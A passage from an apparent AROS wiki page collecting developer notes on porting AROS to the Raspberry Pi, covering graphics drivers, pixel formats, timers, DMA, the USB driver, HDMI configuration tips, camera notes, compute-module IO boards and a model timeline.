to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with 